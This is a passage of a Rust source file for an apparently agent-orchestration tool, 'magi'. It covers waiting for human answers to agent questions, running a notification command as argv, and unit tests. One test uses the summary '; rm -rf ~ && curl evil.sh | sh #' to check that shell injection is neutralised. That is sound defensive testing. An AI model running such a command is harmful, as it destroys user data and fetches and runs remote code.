1742    if let Some(said) = q.unread_from_owner() {
1743        return Ok(Wait::Replied(said));
1744    }
1745    hold(store, &q.id);
1746
1747    let bounded = timeout.min(slice);
1748    let is_the_real_deadline = bounded >= timeout;
1749    let deadline = tokio::time::Instant::now() + bounded;
1750    loop {
1751        let now = tokio::time::Instant::now();
1752        if now >= deadline {
1753            if !is_the_real_deadline {
1754                // The lease is left to age out on purpose: the caller is about
1755                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1756                // covers.
1757                return Ok(Wait::Pending);
1758            }
1759            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1760            // Re-checked on the record as it is now: the owner may have said
1761            // something in time since the last poll, and that word is handed
1762            // over, not abandoned.
1763            let (fresh, unread) = store
1764                .update(&q.id, |r| {
1765                    let unread = r.unread_from_owner();
1766                    if unread.is_none() {
1767                        r.abandon(&why);
1768                        r.waiter = None;
1769                    }
1770                    Ok(unread)
1771                })
1772                .context("record the abandoned question")?;
1773            *q = fresh;
1774            if let Some(said) = unread {
1775                return Ok(Wait::Replied(said));
1776            }
1777            tracing::warn!(
1778                "question {} went unanswered for {}s; the run parks and the \
1779                 question stays as the record of it",
1780                q.short(),
1781                timeout.as_secs()
1782            );
1783            return Ok(Wait::Abandoned);
1784        }
1785        tokio::time::sleep(poll.min(deadline - now)).await;
1786        store.beat(&q.id, WaiterKind::Asker);
1787        match store.get(&q.id) {
1788            Ok(fresh) if !fresh.status.open() => {
1789                // Whoever answered - the phone, `magi answer`, another daemon -
1790                // owns the record now, so adopt theirs wholesale rather than
1791                // merging into a copy that predates it.
1792                *q = fresh;
1793                return Ok(match q.resolution() {
1794                    Some(a) => Wait::Answered(a),
1795                    // Closed with no decision - abandoned elsewhere, most
1796                    // often by the run behind it being deleted mid-wait.
1797                    None => Wait::Abandoned,
1798                });
1799            }
1800            Ok(fresh) => {
1801                if let Some(said) = fresh.unread_from_owner() {
1802                    *q = fresh;
1803                    return Ok(Wait::Replied(said));
1804                }
1805                // Still open and not waiting on the agent - nothing this
1806                // wait cares about happened, so keep polling.
1807            }
1808            Err(e) => {
1809                // Mid-rename, or a file the operator is editing by hand.
1810                // Neither is a reason to abandon a question a human may still
1811                // answer, so keep polling until the deadline decides.
1812                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1813            }
1814        }
1815    }
1816}
1817
1818/// Run the operator's notification command, if one is configured.
1819///
1820/// The command is argv, never a shell string, and the substitutions below are a
1821/// single pass over each argument: a summary containing `; rm -rf ~` is one
1822/// argument to one program, and a summary containing the characters `{run}` is
1823/// not re-expanded. That property is the reason agent-authored text can be put
1824/// in a notification at all.
1825///
1826/// An error here is reported, not swallowed, so `magi notify --test` can show
1827/// the operator why nothing arrives. The waiting path logs it and carries on.
1828pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1829    notify_text(cmd, &q.run, &q.summary).await
1830}
1831
1832/// [`notify`] for an event that is not a question: the same command, the same
1833/// placeholders, with `summary` and `run` supplied directly.
1834pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1835    let Some((program, args)) = cmd.command.split_first() else {
1836        // No command configured: the web UI is the only surface, by choice.
1837        return Ok(());
1838    };
1839    let url = web_url();
1840    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1841        tracing::warn!(
1842            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1843             so the link will be empty - export it next to `magi serve` with \
1844             the address `magi web --open` printed"
1845        );
1846    }
1847    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1848    tracing::debug!(program = %program, args = ?argv, "notifying");
1849
1850    let mut child = tokio::process::Command::new(program);
1851    child.quiet();
1852    child
1853        .args(&argv)
1854        .stdin(std::process::Stdio::null())
1855        // Killed if the timeout below drops this future: a notification
1856        // command left running would outlive the run it was announcing.
1857        .kill_on_drop(true);
1858    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1859        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1860        Err(_) => bail!(
1861            "notification command `{program}` did not finish within {}s",
1862            NOTIFY_TIMEOUT.as_secs()
1863        ),
1864    };
1865    if !out.status.success() {
1866        let stderr = String::from_utf8_lossy(&out.stderr);
1867        let why = stderr
1868            .lines()
1869            .rev()
1870            .find(|l| !l.trim().is_empty())
1871            .unwrap_or("no output on stderr")
1872            .trim();
1873        bail!(
1874            "notification command `{program}` exited with {}: {why}",
1875            out.status
1876        );
1877    }
1878    Ok(())
1879}
1880
1881/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1882///
1883/// One left-to-right pass, so a substituted value is never scanned for further
1884/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1885/// in a question must not make the notification recursive.
1886fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1887    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1888    let mut out = String::with_capacity(template.len());
1889    let mut rest = template;
1890    while let Some(at) = rest.find('{') {
1891        out.push_str(&rest[..at]);
1892        let tail = &rest[at..];
1893        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1894            Some((token, value)) => {
1895                out.push_str(value);
1896                rest = &tail[token.len()..];
1897            }
1898            None => {
1899                // Not a placeholder magi knows: it is the operator's own text.
1900                out.push('{');
1901                rest = &tail[1..];
1902            }
1903        }
1904    }
1905    out.push_str(rest);
1906    out
1907}
1908
1909/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1910fn web_url() -> String {
1911    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1912}
1913
1914/// Point a configured base URL at the view that can answer the question.
1915///
1916/// A notification the operator has to navigate from is a question that stays
1917/// unanswered until morning, so the questions view is appended - unless the
1918/// operator already wrote a fragment, in which case they have said where they
1919/// want to land and magi does not know better.
1920fn question_url(base: &str) -> String {
1921    let base = base.trim().trim_end_matches('/');
1922    if base.is_empty() || base.contains('#') {
1923        return base.to_owned();
1924    }
1925    format!("{base}/#/questions")
1926}
1927
1928/// Assemble a panel's contents in an already-empty directory.
1929///
1930/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1931/// first error without an early `return` skipping that cleanup.
1932fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1933    let index = dir.join(PANEL_HTML);
1934    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1935    for (name, src) in assets {
1936        let dst = dir.join(name);
1937        std::fs::copy(src, &dst)
1938            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1939    }
1940    Ok(())
1941}
1942
1943/// Remove a directory and everything under it, treating "not there" as done.
1944///
1945/// A panel is replaced wholesale and dropped idempotently, and in both cases
1946/// the absence of the directory is the desired end state, not an error.
1947fn clear_dir(path: &Path) -> Result<()> {
1948    match std::fs::remove_dir_all(path) {
1949        Ok(()) => Ok(()),
1950        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1951        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1952    }
1953}
1954
1955fn read_path(path: &Path) -> Result<Question> {
1956    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1957    let q: Question =
1958        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1959    if q.schema > SCHEMA {
1960        // Strictly newer, not merely different: every field added since
1961        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1962        // here as "no thread yet" rather than as garbage. Only a schema this
1963        // build has never heard of is refused.
1964        bail!(
1965            "question {} was written by a newer magi (schema {}, this build \
1966             only speaks up to {SCHEMA})",
1967            q.id,
1968            q.schema
1969        );
1970    }
1971    Ok(q)
1972}
1973
1974/// [`short`] for callers outside this module (a run id shortens the same way).
1975pub fn short_id(id: &str) -> &str {
1976    short(id)
1977}
1978
1979fn short(id: &str) -> &str {
1980    id.split('-').next_back().unwrap_or(id)
1981}
1982
1983fn new_id() -> String {
1984    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1985    let seed = crate::rng::entropy();
1986    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1987}
1988
1989#[cfg(test)]
1990mod tests {
1991    use super::*;
1992
1993    /// A store of its own, with no process-global state - which is the point of
1994    /// `Questions::at`, and why these can run in parallel.
1995    fn store() -> (tempfile::TempDir, Questions) {
1996        let dir = tempfile::tempdir().unwrap();
1997        let s = Questions::at(dir.path().join("questions"));
1998        (dir, s)
1999    }
2000
2001    #[test]
2002    fn run_names_task_only_for_task_questions() {
2003        for (node, want) in [
2004            (crate::conduct::NODE, true),
2005            (crate::triage::NODE, true),
2006            (crate::triage::DEPS_NODE, true),
2007            (crate::land::APPROVAL_NODE, false),
2008            (crate::bump::NOTICE_NODE, false),
2009            ("implement", false),
2010        ] {
2011            let mut q = choice_question();
2012            q.node = node.to_owned();
2013            assert_eq!(q.run_names_task(), want, "{node}");
2014        }
2015    }
2016
2017    #[test]
2018    fn deleting_a_run_stops_its_questions_asking() {
2019        let (_dir, store) = store();
2020
2021        let mut open_one = choice_question();
2022        store.put(&mut open_one).unwrap();
2023        let mut answered = free_question();
2024        answered
2025            .answer(Answer::Text("keep this".to_owned()))
2026            .unwrap();
2027        store.put(&mut answered).unwrap();
2028        let mut elsewhere = choice_question();
2029        elsewhere.run = "20260903-105039-3cbf".to_owned();
2030        store.put(&mut elsewhere).unwrap();
2031
2032        let n = store
2033            .abandon_for_run(&open_one.run, "run was deleted")
2034            .unwrap();
2035        assert_eq!(n, 1, "only the open question of that run");
2036
2037        let back = store.get(&open_one.id).unwrap();
2038        assert!(!back.status.open(), "it no longer asks for a decision");
2039        assert!(
2040            back.detail.contains("run was deleted"),
2041            "the operator can see why: {}",
2042            back.detail
2043        );
2044
2045        let kept = store.get(&answered.id).unwrap();
2046        assert_eq!(
2047            kept.status,
2048            QuestionStatus::Answered,
2049            "an answered question is a decision on record, not something to revoke"
2050        );
2051        assert!(
2052            store.get(&elsewhere.id).unwrap().status.open(),
2053            "another run's question is untouched"
2054        );
2055        assert!(store.open_for(&open_one.run).is_empty());
2056    }
2057
2058    #[test]
2059    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2060        let (_dir, store) = store();
2061        let mut q = choice_question();
2062        store.put(&mut q).unwrap();
2063
2064        // `Blocked` can still be resumed - leave it exactly as it was.
2065        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2066        assert_eq!(n, 0);
2067        assert!(store.get(&q.id).unwrap().status.open());
2068
2069        // `Failed` is not - abandon it, with the run and its fate in the
2070        // reason so the owner can tell what happened without a run to read.
2071        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2072        assert_eq!(n, 1);
2073        let back = store.get(&q.id).unwrap();
2074        assert!(!back.status.open());
2075        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2076
2077        // A second call against the same, now-settled run finds nothing left.
2078        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2079    }
2080
2081    fn choice_question() -> Question {
2082        Question::new(
2083            "20260902-201256-9fb7".to_owned(),
2084            "implement".to_owned(),
2085            "impl-A".to_owned(),
2086            "Which storage backend should the cache use?".to_owned(),
2087            "Both are already dependencies.".to_owned(),
2088            vec!["SQLite".to_owned(), "Redis".to_owned()],
2089        )
2090    }
2091
2092    fn free_question() -> Question {
2093        Question::new(
2094            "20260902-201256-9fb7".to_owned(),
2095            "review".to_owned(),
2096            "rev-1".to_owned(),
2097            "What should the error message say?".to_owned(),
2098            String::new(),
2099            Vec::new(),
2100        )
2101    }
2102
2103    /// No notification, which is the default and what most of these want.
2104    fn quiet() -> config::Notify {
2105        config::Notify::default()
2106    }
2107
2108    #[test]
2109    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2110        // The front end parses these names by hand; there is no shared schema
2111        // and no compiler between the two. A rename here is a UI that shows an
2112        // empty card and reports no error, so the names are asserted literally.
2113        let mut q = choice_question();
2114        q.id = "20260902-231501-ab12".to_owned();
2115        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2116        // `serde_json::Value` holds an object's keys sorted, and key order
2117        // means nothing to a JSON reader anyway: the field *set* is what the
2118        // front end was written against, so that is what is pinned here.
2119        let keys: Vec<&str> = open
2120            .as_object()
2121            .unwrap()
2122            .keys()
2123            .map(String::as_str)
2124            .collect();
2125        assert_eq!(
2126            keys,
2127            [
2128                "actions",
2129                "answer",
2130                "answer_delivered",
2131                "answer_timeout",
2132                "answered_at",
2133                "asked_at",
2134                "assets",
2135                "choices",
2136                "consult",
2137                "cwd",
2138                "decision_context",
2139                "delivered_turns",
2140                "deputy",
2141                "detail",
2142                "id",
2143                "merge_target",
2144                "node",
2145                "panel",
2146                "run",
2147                "schema",
2148                "seat",
2149                "status",
2150                "summary",
2151                "thread",
2152                "triage_generation",
2153                "waiter",
2154            ],
2155            "the on-disk field set is a contract with the front end"
2156        );
2157        assert_eq!(open["schema"], 11);
2158        assert_eq!(open["merge_target"], serde_json::Value::Null);
2159        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2160        assert_eq!(open["thread"], serde_json::json!([]));
2161        assert_eq!(open["id"], "20260902-231501-ab12");
2162        assert_eq!(open["run"], "20260902-201256-9fb7");
2163        assert_eq!(open["node"], "implement");
2164        assert_eq!(open["seat"], "impl-A");
2165        assert_eq!(open["status"], "open");
2166        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2167        assert_eq!(open["answered_at"], serde_json::Value::Null);
2168        assert_eq!(open["answer"], serde_json::Value::Null);
2169        let asked = open["asked_at"].as_str().unwrap();
2170        assert!(
2171            asked.ends_with('Z') && asked.contains('T'),
2172            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2173        );
2174
2175        // A chosen option, exactly as the contract spells it.
2176        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2177        let answered = serde_json::to_value(&q).unwrap();
2178        assert_eq!(answered["status"], "answered");
2179        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2180        assert!(answered["answered_at"].is_string());
2181
2182        // And free text, which is the other of the two forms.
2183        let mut free = free_question();
2184        free.answer(Answer::Text("Say which file it was".to_owned()))
2185            .unwrap();
2186        assert_eq!(
2187            serde_json::to_value(&free).unwrap()["answer"],
2188            serde_json::json!({"text": "Say which file it was"})
2189        );
2190
2191        // And it survives the round trip a reader actually performs.
2192        let body = serde_json::to_string(&q).unwrap();
2193        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2194    }
2195
2196    #[test]
2197    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2198        let (_dir, store) = store();
2199        let mut q = approval_question();
2200        q.merge_target = Some(crate::merge_decision::Target {
2201            pr: "https://github.com/example/repo/pull/42".into(),
2202            head: "reviewed-head".into(),
2203            language: "ja".into(),
2204        });
2205        store.put(&mut q).unwrap();
2206        let saved = store.get(&q.id).unwrap();
2207        assert_eq!(saved, q);
2208        let mut body = serde_json::to_value(&saved).unwrap();
2209        assert_eq!(body["schema"], 11);
2210        assert_eq!(
2211            body["merge_target"],
2212            serde_json::json!({
2213                "pr": "https://github.com/example/repo/pull/42",
2214                "head": "reviewed-head",
2215                "language": "ja"
2216            })
2217        );
2218
2219        // Earlier merge/hold cards have no target field. Read the actual
2220        // on-disk shape through the store, including its schema guard.
2221        body["schema"] = serde_json::json!(10);
2222        body.as_object_mut().unwrap().remove("merge_target");
2223        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2224        let legacy = store.get(&q.id).unwrap();
2225        assert_eq!(legacy.schema, 10);
2226        assert!(legacy.merge_target.is_none());
2227        assert_eq!(legacy.choices, q.choices);
2228        assert_eq!(legacy.status, q.status);
2229    }
2230
2231    #[test]
2232    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2233        // Four different mistakes, four different fixes: the web handler shows
2234        // these strings to the person who made them.
2235        let mut unoffered = choice_question();
2236        let a = unoffered
2237            .answer(Answer::Choice("Postgres".to_owned()))
2238            .unwrap_err()
2239            .to_string();
2240
2241        let mut typed = choice_question();
2242        let b = typed
2243            .answer(Answer::Text("use Postgres".to_owned()))
2244            .unwrap_err()
2245            .to_string();
2246
2247        let mut blank = free_question();
2248        let c = blank
2249            .answer(Answer::Text("   \n".to_owned()))
2250            .unwrap_err()
2251            .to_string();
2252
2253        let mut twice = choice_question();
2254        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2255        let d = twice
2256            .answer(Answer::Choice("Redis".to_owned()))
2257            .unwrap_err()
2258            .to_string();
2259
2260        assert!(a.contains("not one of the choices"), "{a}");
2261        assert!(b.contains("multiple choice"), "{b}");
2262        assert!(c.contains("empty"), "{c}");
2263        assert!(d.contains("already answered"), "{d}");
2264        let mut distinct = vec![a, b, c, d];
2265        let asked = distinct.len();
2266        distinct.sort_unstable();
2267        distinct.dedup();
2268        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2269
2270        // The refused ones are still open, so the owner can answer properly.
2271        assert_eq!(unoffered.status, QuestionStatus::Open);
2272        assert_eq!(typed.status, QuestionStatus::Open);
2273        assert_eq!(blank.status, QuestionStatus::Open);
2274        // And the first answer to the double-answered one survived.
2275        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2276
2277        // Free text refuses a fabricated choice for the mirror-image reason.
2278        let mut free = free_question();
2279        let e = free
2280            .answer(Answer::Choice("SQLite".to_owned()))
2281            .unwrap_err()
2282            .to_string();
2283        assert!(e.contains("free text"), "{e}");
2284    }
2285
2286    #[test]
2287    fn open_questions_are_listed_before_answered_ones() {
2288        let (_dir, s) = store();
2289        // Ids carry a timestamp, so force a known order: the answered one is
2290        // the newest, and must still sort below the open ones.
2291        let mut old_open = choice_question();
2292        old_open.id = "20260101-000001-aaaa".to_owned();
2293        let mut new_open = choice_question();
2294        new_open.id = "20260101-000002-bbbb".to_owned();
2295        let mut answered = choice_question();
2296        answered.id = "20260101-000003-cccc".to_owned();
2297        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2298        for q in [&mut old_open, &mut new_open, &mut answered] {
2299            s.put(q).unwrap();
2300        }
2301
2302        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2303        assert_eq!(
2304            ids,
2305            [
2306                "20260101-000002-bbbb",
2307                "20260101-000001-aaaa",
2308                "20260101-000003-cccc"
2309            ],
2310            "what has stopped work comes first; history sorts underneath"
2311        );
2312        assert_eq!(s.count_open(), 2);
2313        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2314        assert!(s.open_for("some-other-run").is_empty());
2315        // The short id is what the phone and the reports show.
2316        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2317        assert!(s.get("20260101-000002-bbbb").is_ok());
2318        assert!(s.resolve_id("nope").is_err());
2319        assert!(
2320            s.revision() > 0,
2321            "the store's mtime drives the phone's polling"
2322        );
2323    }
2324
2325    #[test]
2326    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2327        let (_dir, s) = store();
2328        let mut good = choice_question();
2329        s.put(&mut good).unwrap();
2330        // Truncated by a killed writer, and written by a magi from the future.
2331        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2332        let future = serde_json::json!({
2333            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2334            "seat": "s", "summary": "?", "detail": "", "choices": [],
2335            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2336            "answered_at": null, "answer": null,
2337        });
2338        std::fs::write(
2339            s.path_of("20260101-000010-beef"),
2340            serde_json::to_string(&future).unwrap(),
2341        )
2342        .unwrap();
2343
2344        let listed = s.list();
2345        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2346        assert_eq!(listed[0].id, good.id);
2347        // Asked for by name, the unreadable one explains itself instead.
2348        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2349        assert!(e.contains("schema"), "{e}");
2350    }
2351
2352    #[tokio::test]
2353    async fn the_wait_returns_the_answer_another_process_wrote() {
2354        // The phone, `magi answer` and this run are three processes with no
2355        // channel between them: the file is the channel, so the wait has to see
2356        // a write it did not make. Sub-second timings keep this a real wait
2357        // without a real one's duration.
2358        let (dir, s) = store();
2359        let mut q = choice_question();
2360        let id = q.id.clone();
2361        let writer = Questions::at(dir.path().join("questions"));
2362        let handle = tokio::spawn(async move {
2363            tokio::time::sleep(Duration::from_millis(30)).await;
2364            let mut fresh = writer.get(&id).expect("the question was filed first");
2365            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2366            writer.put(&mut fresh).unwrap();
2367        });
2368
2369        let got = wait_for_owner(
2370            &mut q,
2371            &s,
2372            &quiet(),
2373            Duration::from_secs(5),
2374            Duration::from_millis(10),
2375        )
2376        .await
2377        .unwrap();
2378
2379        handle.await.unwrap();
2380        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2381        assert_eq!(
2382            q.status,
2383            QuestionStatus::Answered,
2384            "the caller's copy is refreshed from the answering process's record"
2385        );
2386        assert!(q.answered_at.is_some());
2387    }
2388
2389    #[tokio::test]
2390    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2391        let (_dir, s) = store();
2392        let mut q = choice_question();
2393
2394        let got = wait_for_owner(
2395            &mut q,
2396            &s,
2397            &quiet(),
2398            Duration::from_millis(60),
2399            Duration::from_millis(10),
2400        )
2401        .await
2402        .unwrap();
2403
2404        assert_eq!(
2405            got,
2406            Wait::Abandoned,
2407            "a slow human is not an error; the run parks"
2408        );
2409        assert_eq!(q.status, QuestionStatus::Abandoned);
2410        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2411        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2412        assert!(
2413            on_disk.detail.contains("Abandoned:"),
2414            "why nobody answered belongs with the question: {}",
2415            on_disk.detail
2416        );
2417        assert!(on_disk.resolution().is_none());
2418        assert_eq!(s.count_open(), 0);
2419    }
2420
2421    #[tokio::test]
2422    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2423        // This is the whole point of slicing: `timeout` (the real
2424        // `answer_timeout` budget) is far larger than `slice`, so the loop
2425        // must land on `slice` first and hand back `Pending` - not read the
2426        // silence so far as the owner having given up.
2427        let (_dir, s) = store();
2428        let mut q = choice_question();
2429        s.put(&mut q).unwrap();
2430
2431        let got = wait_loop(
2432            &mut q,
2433            &s,
2434            Duration::from_secs(3600),
2435            Duration::from_millis(30),
2436            Duration::from_millis(10),
2437        )
2438        .await
2439        .unwrap();
2440
2441        assert_eq!(
2442            got,
2443            Wait::Pending,
2444            "the clock on this call ran out, not the owner's patience"
2445        );
2446        assert_eq!(
2447            q.status,
2448            QuestionStatus::Open,
2449            "a slice expiring must never abandon the question"
2450        );
2451        let on_disk = s.get(&q.id).expect("still on disk, still open");
2452        assert_eq!(
2453            on_disk.status,
2454            QuestionStatus::Open,
2455            "nothing about the record changed just because this call gave up"
2456        );
2457    }
2458
2459    #[tokio::test]
2460    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2461        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2462        // and returns `Pending`, a second slice - a fresh call, exactly as a
2463        // fresh process would make - picks the same question back up and
2464        // sees an answer written in between.
2465        let (dir, s) = store();
2466        let mut q = choice_question();
2467        s.put(&mut q).unwrap();
2468
2469        let first = wait_loop(
2470            &mut q,
2471            &s,
2472            Duration::from_secs(3600),
2473            Duration::from_millis(30),
2474            Duration::from_millis(10),
2475        )
2476        .await
2477        .unwrap();
2478        assert_eq!(first, Wait::Pending);
2479
2480        let id = q.id.clone();
2481        let writer = Questions::at(dir.path().join("questions"));
2482        let mut fresh = writer.get(&id).unwrap();
2483        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2484        writer.put(&mut fresh).unwrap();
2485
2486        // `resume_wait` uses its own production poll interval rather than a
2487        // test-injected one, so the budget here only needs to be large enough
2488        // to cover one real poll tick - the point is that it is `resume_wait`
2489        // itself, not a helper, that finds the answer.
2490        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2491            .await
2492            .unwrap();
2493        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2494        assert_eq!(q.status, QuestionStatus::Answered);
2495    }
2496
2497    #[tokio::test]
2498    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2499        // The owner can speak back while nothing is running at all - between
2500        // one call reporting `Wait::Pending` and the next `--wait` picking
2501        // the question back up - and whoever resumes the wait loads a
2502        // *fresh* copy of the question off disk, one whose thread already
2503        // contains that reply. A baseline taken from that fresh copy would
2504        // treat the reply as pre-existing and never notice it "arrive",
2505        // leaving the agent polling in silence until `answer_timeout`
2506        // eventually abandons the question - replacing the exact accident
2507        // this feature exists to fix with a quieter version of itself.
2508        let (dir, s) = store();
2509        let mut q = choice_question();
2510        s.put(&mut q).unwrap();
2511
2512        let first = wait_loop(
2513            &mut q,
2514            &s,
2515            Duration::from_secs(3600),
2516            Duration::from_millis(30),
2517            Duration::from_millis(10),
2518        )
2519        .await
2520        .unwrap();
2521        assert_eq!(first, Wait::Pending);
2522
2523        // The owner speaks back during the gap, with nobody running yet.
2524        let id = q.id.clone();
2525        let writer = Questions::at(dir.path().join("questions"));
2526        let mut fresh = writer.get(&id).unwrap();
2527        fresh.say("why not Postgres?").unwrap();
2528        writer.put(&mut fresh).unwrap();
2529
2530        // `magi ask --wait` re-reads the question rather than reusing the
2531        // stale in-memory copy the earlier call held - so the copy handed to
2532        // `resume_wait` here already carries the reply, same as `fresh` above.
2533        let mut resumed = s.get(&id).unwrap();
2534        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2535            .await
2536            .unwrap();
2537        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2538        assert_eq!(
2539            resumed.status,
2540            QuestionStatus::Open,
2541            "talking back is not a decision; the question stays open"
2542        );
2543    }
2544
2545    #[tokio::test]
2546    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2547        // A broken webhook must not throw away an implementation, so the wait
2548        // reports the failure and carries on. `notify` itself still says what
2549        // went wrong, because `magi notify --test` has to be able to show it.
2550        let (dir, s) = store();
2551        let broken = config::Notify {
2552            command: vec![
2553                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2554                "{summary}".to_owned(),
2555            ],
2556        };
2557        let mut q = choice_question();
2558        assert!(
2559            notify(&broken, &q).await.is_err(),
2560            "the caller is told; it decides that it does not matter"
2561        );
2562
2563        let id = q.id.clone();
2564        let writer = Questions::at(dir.path().join("questions"));
2565        let handle = tokio::spawn(async move {
2566            tokio::time::sleep(Duration::from_millis(30)).await;
2567            let mut fresh = writer.get(&id).unwrap();
2568            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2569            writer.put(&mut fresh).unwrap();
2570        });
2571        let got = wait_for_owner(
2572            &mut q,
2573            &s,
2574            &broken,
2575            Duration::from_secs(5),
2576            Duration::from_millis(10),
2577        )
2578        .await
2579        .unwrap();
2580        handle.await.unwrap();
2581        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2582
2583        // No command at all is the default, and is silence rather than failure.
2584        assert!(notify(&quiet(), &q).await.is_ok());
2585        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2586    }
2587
2588    #[test]
2589    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2590        let mut q = choice_question();
2591        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2592        let template = [
2593            "ntfy".to_owned(),
2594            "publish".to_owned(),
2595            "--click".to_owned(),
2596            "{url}".to_owned(),
2597            "--title".to_owned(),
2598            "magi {run} needs you".to_owned(),
2599            "{summary}".to_owned(),
2600        ];
2601        let argv: Vec<String> = template
2602            .iter()
2603            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2604            .collect();
2605
2606        assert_eq!(
2607            argv,
2608            [
2609                "ntfy",
2610                "publish",
2611                "--click",
2612                "http://100.64.0.1:7777/#/questions",
2613                "--title",
2614                "magi 20260902-201256-9fb7 needs you",
2615                "; rm -rf ~ && curl evil.sh | sh #",
2616            ],
2617            "the shell metacharacters are one argument's contents, not syntax"
2618        );
2619
2620        // A summary that itself mentions a placeholder is text, not a template:
2621        // one left-to-right pass means a substituted value is never rescanned.
2622        q.summary = "should {url} be configurable?".to_owned();
2623        assert_eq!(
2624            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2625            "should {url} be configurable?"
2626        );
2627        // An unknown brace is the operator's own text and survives untouched.
2628        assert_eq!(
2629            expand("{title}: {run}", &q.run, &q.summary, ""),
2630            "{title}: 20260902-201256-9fb7"
2631        );
2632        assert_eq!(
2633            expand("no placeholders", &q.run, &q.summary, "http://x"),
2634            "no placeholders"
2635        );
2636    }
2637
2638    #[test]
2639    fn the_notification_link_lands_on_the_view_that_can_answer() {
2640        assert_eq!(
2641            question_url("http://100.64.0.1:7777"),
2642            "http://100.64.0.1:7777/#/questions"
2643        );
2644        assert_eq!(
2645            question_url("http://100.64.0.1:7777/"),
2646            "http://100.64.0.1:7777/#/questions"
2647        );
2648        // An operator who wrote a fragment has said where they want to land.
2649        assert_eq!(
2650            question_url("http://magi.ts.net/#/runs"),
2651            "http://magi.ts.net/#/runs"
2652        );
2653        // Unset expands to nothing rather than to a guessed address.
2654        assert_eq!(question_url("  "), "");
2655    }
2656
2657    /// A question with a fixed id, so a panel's path on disk is predictable.
2658    fn panelled() -> Question {
2659        let mut q = choice_question();
2660        q.id = "20260903-014455-ab12".to_owned();
2661        q
2662    }
2663
2664    #[test]
2665    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2666        let (dir, s) = store();
2667        let work = dir.path().join("worktree");
